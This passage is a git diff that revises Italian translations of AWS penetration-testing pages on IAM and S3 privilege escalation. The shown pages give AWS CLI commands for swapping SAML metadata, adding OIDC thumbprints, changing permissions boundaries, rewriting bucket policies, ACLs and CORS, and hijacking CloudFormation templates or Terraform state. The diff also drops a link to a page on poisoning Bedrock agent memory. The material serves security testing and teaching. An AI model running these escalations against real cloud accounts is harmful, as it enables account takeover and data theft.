legittimi non saranno in grado di effettuare il login**. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +213,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Uno strumento in grado di generare i metadata SAML e di effettuare il login con un role specificato +> TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a effettuare il login in tutti i roles che si affidano al provider. +(Non sicuro su questo) Se un attacker ha queste **permissions**, potrebbe aggiungere un nuovo **Thumbprint** per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +228,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Questa permission consente a un attacker di aggiornare il permissions boundary di un utente, potenzialmente aumentando i suoi privilegi e permettendogli di eseguire azioni che normalmente sono limitate dai permessi esistenti. +Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +251,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Un attore con `iam:PutRolePermissionsBoundary` può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permesso modifica il boundary di un ruolo: può limitare in modo improprio le operazioni (causando interruzione del servizio) o, se allega un boundary permissivo, ampliare effettivamente ciò che il ruolo può fare e scalare i privilegi. +Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi. ```bash aws iam put-role-permissions-boundary \ --role-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 8160f3a19..7b2e6900c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Un attaccante con quei permessi su bucket rilevanti potrebbe prendere il controllo di risorse ed elevare i privilegi. +Un attaccante con quei permessi su bucket di interesse potrebbe essere in grado di dirottare risorse e ottenere l'elevazione dei privilegi. -Per esempio, un attaccante con quei **permessi su un bucket cloudformation** chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy: +Ad esempio, un attaccante con tali **permessi su un bucket cloudformation** chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Per esempio, un attaccante con quei **permessi su un bucket cloudformation** chi ] } ``` -E il hijack è possibile perché esiste una **piccola finestra temporale dal momento in cui il template viene caricato** nel bucket fino al momento in cui il **template viene distribuito**. Un attacker potrebbe semplicemente creare una **lambda function** nel suo account che si **attiva quando viene inviata una bucket notification**, e hijacka il **content** di quel **bucket**. +E l'hijack è possibile perché c'è una **piccola finestra temporale dal momento in cui il template viene caricato** nel bucket fino al momento in cui il **template viene deployato**. Un attacker potrebbe semplicemente creare una **lambda function** nel suo account che si **triggera quando viene inviata una bucket notification**, e che **hijacka** il **content** di quel **bucket**. ![](<../../../images/image (174).png>) @@ -43,20 +43,21 @@ Per maggiori informazioni consulta la ricerca originale: [https://rhinosecurityl ### `s3:PutObject`, `s3:GetObject` -Questi sono i permessi per **ottenere e caricare oggetti su S3**. Diversi servizi dentro AWS (e fuori) usano lo storage S3 per conservare **config files**.\ -Un attacker con **read access** a questi file potrebbe trovare **informazioni sensibili**.\ +Queste sono le permissions per **get and upload objects to S3**. Diversi servizi dentro AWS (e fuori) usano lo storage S3 per conservare **file di configurazione**.\ +Un attacker con **read access** a questi file potrebbe trovare **informazioni sensibili** al loro interno.\ Un attacker con **write access** potrebbe **modificare i dati per abusare di qualche servizio e provare a escalate privileges**.\ Ecco alcuni esempi: -- Se un'istanza EC2 memorizza gli **user data in a S3 bucket**, un attacker potrebbe modificarli per **eseguire codice arbitrario all'interno dell'istanza EC2**. +- Se un EC2 instance salva gli **user data in a S3 bucket**, un attacker potrebbe modificarli per **execute arbitrary code inside the EC2 instance**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -È molto comune che i file di stato di [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) vengano salvati nello storage a blob dei cloud provider, es. AWS S3. Il suffisso dei file di stato è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono terraform state files. Di solito, ogni account AWS ha un bucket del genere per memorizzare i file di stato che mostrano lo stato dell'account. Anche nel mondo reale, quasi sempre tutti gli sviluppatori hanno `s3:*` e a volte anche utenti business hanno `s3:Put*`. +È molto comune che i terraform state files siano salvati nello blob storage dei cloud provider, es. AWS S3. Il suffisso del file per uno state file è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono terraform state files. Di solito, ogni AWS account ha un bucket di questo tipo per conservare gli state files che mostrano lo stato dell'account. +Inoltre, nella realtà quasi sempre tutti gli sviluppatori hanno `s3:*` e talvolta anche gli utenti business hanno `s3:Put*`. -Quindi, se hai i permessi indicati su questi file, esiste un vettore d'attacco che ti permette di ottenere RCE nella pipeline con i privilegi di `terraform` — nella maggior parte dei casi `AdministratorAccess`, rendendoti amministratore dell'account cloud. Inoltre, puoi usare quel vettore per un denial of service facendo sì che `terraform` cancelli risorse legittime. +Quindi, se hai le permissions elencate su questi file, esiste un vettore d'attacco che ti permette di ottenere RCE nella pipeline con i privilegi di `terraform` — nella maggior parte dei casi `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi usare quel vettore per effettuare un denial of service facendo in modo che `terraform` cancelli risorse legittime. -Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice exploit direttamente riutilizzabile: +Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice exploit direttamente utilizzabile: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -64,7 +65,7 @@ Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina ### `s3:PutBucketPolicy` -Un attacker, che deve essere dello stesso account — altrimenti verrà generato l'errore `The specified method is not allowed` — con questo permesso potrà concedersi più privilegi sui bucket(s), permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket. +Un attacker, che deve essere dallo stesso account (altrimenti verrà sollevato l'errore `The specified method is not allowed`), con questa permission sarà in grado di concedersi più permessi sul/i bucket permettendogli di leggere, scrivere, modificare, cancellare ed esporre i bucket. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Un attaccante potrebbe abusare di queste autorizzazioni per aumentare i propri privilegi su oggetti specifici all'interno dei bucket. +Un attacker potrebbe abusare di questi permessi per concedersi maggiore accesso a specifici objects all'interno dei buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Un attaccante con questi privilegi dovrebbe essere in grado di applicare un Acl a una versione specifica di un oggetto +Un attacker con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` ### `s3:PutBucketCORS` -Un attaccante con il permesso s3:PutBucketCORS può modificare la configurazione CORS (Cross-Origin Resource Sharing) di un bucket, che controlla quali domini web possono accedere ai suoi endpoint. Se imposta una policy permissiva, qualunque sito web potrebbe effettuare richieste dirette al bucket e leggere le risposte dal browser. +Un attaccante con il permesso s3:PutBucketCORS può modificare la configurazione CORS (Cross-Origin Resource Sharing) di un bucket, che controlla quali domini web possono accedere ai suoi endpoint. Se imposta una policy permissiva, qualsiasi sito web potrebbe effettuare richieste dirette al bucket e leggere le risposte da un browser. -Questo significa che, potenzialmente, se un utente autenticato di una web app ospitata nel bucket visita il sito dell'attaccante, l'attaccante potrebbe sfruttare la policy CORS permissiva e, a seconda dell'applicazione, accedere ai dati del profilo dell'utente o perfino prendere il controllo del suo account. +Questo significa che, potenzialmente, se un utente autenticato di un'app web ospitata nel bucket visita il sito dell'attaccante, l'attaccante potrebbe sfruttare la policy CORS permissiva e, a seconda dell'applicazione, accedere ai dati del profilo dell'utente o addirittura dirottare il suo account. ```bash aws s3api put-bucket-cors \ --bucket \ diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index aaf11e339..50f08cea5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -6,33 +6,27 @@ ### Servizi container -I servizi che rientrano nei servizi container hanno le seguenti caratteristiche: +I servizi che rientrano nella categoria dei servizi container presentano le seguenti caratteristiche: -- Il servizio stesso gira su **istanze di infrastruttura separate**, come EC2. +- Il servizio in sé viene eseguito su **istanze di infrastruttura separate**, come EC2. - **AWS** è responsabile di **gestire il sistema operativo e la piattaforma**. -- Un servizio gestito è fornito da AWS, che tipicamente è il servizio stesso per la **applicazione effettiva che è vista come container**. -- Come utente di questi servizi container, hai una serie di responsabilità di gestione e sicurezza, inclusa la **gestione della sicurezza di accesso alla rete, come le regole di network access control list e qualsiasi firewall**. -- Inoltre, la gestione delle identity and access a livello di piattaforma, dove presente. +- Un servizio gestito è fornito da AWS, che tipicamente corrisponde al servizio stesso per la **applicazione effettiva vista come container**. +- Come utente di questi servizi container, hai una serie di responsabilità di gestione e sicurezza, inclusa la **gestione della sicurezza degli accessi di rete, come le regole delle network access control list e eventuali firewall**. +- Inoltre, la gestione delle identità e degli accessi a livello di piattaforma, dove presente. - **Esempi** di servizi container di AWS includono Relational Database Service, Elastic Mapreduce e Elastic Beanstalk. ### Servizi astratti -- Questi servizi sono **rimossi, astratti, dallo strato di piattaforma o di gestione su cui sono costruite le applicazioni cloud**. -- I servizi sono accessibili tramite endpoint utilizzando le application programming interfaces, APIs, di AWS. +- Questi servizi sono **separati, astratti, dallo strato di piattaforma o di gestione su cui sono costruite le applicazioni cloud**. +- I servizi sono accessibili tramite endpoint usando le AWS application programming interfaces, APIs. - L'**infrastruttura sottostante, il sistema operativo e la piattaforma sono gestiti da AWS**. -- I servizi astratti forniscono una piattaforma multi-tenant sulla quale l'infrastruttura sottostante è condivisa. +- I servizi astratti forniscono una piattaforma multi-tenancy su cui l'infrastruttura sottostante è condivisa. - **I dati sono isolati tramite meccanismi di sicurezza**. - I servizi astratti hanno una forte integrazione con IAM, e **esempi** di servizi astratti includono S3, DynamoDB, Amazon Glacier e SQS. ## Enumerazione dei servizi -**Le pagine di questa sezione sono ordinate per servizio AWS. In esse troverai informazioni sul servizio (come funziona e le sue capacità) e ciò ti permetterà di escalate privileges.** +**Le pagine di questa sezione sono ordinate per servizio AWS. In esse troverai informazioni sul servizio (come funziona e le sue capacità) che ti permetteranno di elevare i privilegi.** -### Correlati: Sicurezza di Amazon Bedrock - -{{#ref}} -aws-bedrock-agents-memory-poisoning.md -{{#endref}} - {{#include ../../../banners/hacktricks-training.md}}